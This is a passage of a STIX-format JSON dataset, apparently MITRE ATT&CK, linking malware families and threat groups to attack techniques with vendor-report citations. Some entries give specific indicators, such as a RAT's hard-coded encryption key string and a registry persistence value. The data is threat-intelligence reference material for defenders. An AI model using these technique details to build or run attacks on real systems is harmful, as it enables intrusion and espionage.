            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4bf364ad-1e9c-4860-93c0-241da4c81068",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RARSTONE](https://attack.mitre.org/software/S0055) downloads its backdoor component from a C2 server and loads it directly into memory.(Citation: Aquino RARSTONE)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Aquino RARSTONE",
                    "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/"
                }
            ],
            "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T19:06:33.151Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1ff2fa07-f8ce-41b3-9cc2-907c838163ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) launches a DLL file that gets executed as a service using svchost.exe(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.815Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.(Citation: Securelist Dropping Elephant)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "type": "relationship",
            "modified": "2020-03-20T21:26:12.336Z",
            "created": "2017-05-31T21:33:27.077Z"
        },
        {
            "id": "relationship--0e630f6b-8662-4ffe-b666-709e17aad69f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS. [3PARA RAT](https://attack.mitre.org/software/S0066) will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS if the DES decoding fails(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-30T18:34:04.182Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can add a certificate to the Windows store.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
            "type": "relationship",
            "modified": "2020-06-16T20:51:14.280Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some variants of [Cherry Picker](https://attack.mitre.org/software/S0107) use AppInit_DLLs to achieve persistence by creating the following Registry key: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"</code>(Citation: Trustwave Cherry Picker)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trustwave Cherry Picker",
                    "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.",
                    "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"
                }
            ],
            "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
            "type": "relationship",
            "modified": "2020-03-16T17:55:33.953Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--55de5c21-4cb1-4235-89b5-df77dfc7fa90",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers system information, network addresses, disk type, disk free space, and the operation system version.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                },
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.931Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d878a055-0053-45a9-a724-52f59e0486c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) checks its parent process for indications that it is running in a sandbox setup.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.506Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "type": "relationship",
            "modified": "2020-03-16T16:06:09.307Z",
            "created": "2017-05-31T21:33:27.020Z"
        },
        {
            "id": "relationship--8a00aa55-b7b2-4df5-902b-d01bfdf89089",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses <code>systeminfo</code> on a victim\u2019s machine.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T17:19:47.453Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
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                }
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            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) uses the command-line interface.(Citation: FireEye Periscope March 2018)",
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                    "source_name": "FireEye Periscope March 2018"
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            ],
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            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.(Citation: Dell TG-3390)",
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                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
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                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
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            "description": "(Citation: Mandiant APT1 Appendix)",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can delete files.(Citation: FireEye Clandestine Fox)",
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                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
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            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
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            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted Registry keys during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.(Citation: Microsoft SIR Vol 19)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm Dec 2020)",
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                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
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                {
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                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                },
                {
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                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used PowerShell for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
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            "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) performs BIOS modification and can download and execute a file as well as protect itself from removal.(Citation: Ge 2011)",
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                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
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                {
                    "source_name": "DOJ APT10 Dec 2018",
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                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."
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        {
            "id": "relationship--3ed930d6-ab79-4642-8320-2ed59d899b6d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim\u2019s machine.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.778Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses Web shells on publicly accessible Web servers to access victim networks.(Citation: CrowdStrike Deep Panda Web Shells)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.crowdstrike.com/blog/mo-shells-mo-problems-deep-panda-web-shells/",
                    "description": "RYANJ. (2014, February 20). Mo\u2019 Shells Mo\u2019 Problems \u2013 Deep Panda Web Shells. Retrieved September 16, 2015.",
                    "source_name": "CrowdStrike Deep Panda Web Shells"
                }
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "relationship",
            "modified": "2020-01-10T15:09:23.819Z",
            "created": "2017-05-31T21:33:27.043Z"
        },
        {
            "id": "relationship--975739e9-bb45-49d6-a67f-bc770845b4bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about groups.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "type": "relationship",
            "modified": "2019-04-22T23:25:33.656Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information on available printers and disk drives.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.704Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a883e4c6-6a40-4660-9120-b2430099ccb6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.699Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) can log keystrokes.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                },
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.468Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "type": "relationship",
            "modified": "2020-01-24T15:00:47.370Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.467Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7ba62129-a4ba-42b4-9971-4a650682cb52",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) can take regular screenshots when certain applications are open that are sent to the command and control server.(Citation: Kaspersky Flame)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/",
                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-06-06T14:35:54.015Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5c08eb3a-d7a0-4ce0-97a2-496ea4c9f3ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can download files onto compromised hosts.(Citation: Symantec Linfo May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
                }
            ],
            "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T02:11:07.274Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Equation](https://attack.mitre.org/groups/G0020) has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.(Citation: Kaspersky Equation QA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
                }
            ],
            "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2019-12-20T14:23:29.292Z",
            "created": "2017-05-31T21:33:27.055Z"
        },
        {
            "id": "relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over HTTPS.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:30:41.551Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [RedLeaves](https://attack.mitre.org/software/S0153) configuration file is encrypted with a simple XOR key, 0x53.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.362Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c2178e88-74c3-4bc6-b8c5-f6bbc95fc65a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KARAE](https://attack.mitre.org/software/S0215) can use public cloud-based storage providers for command and control.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:14:12.144Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
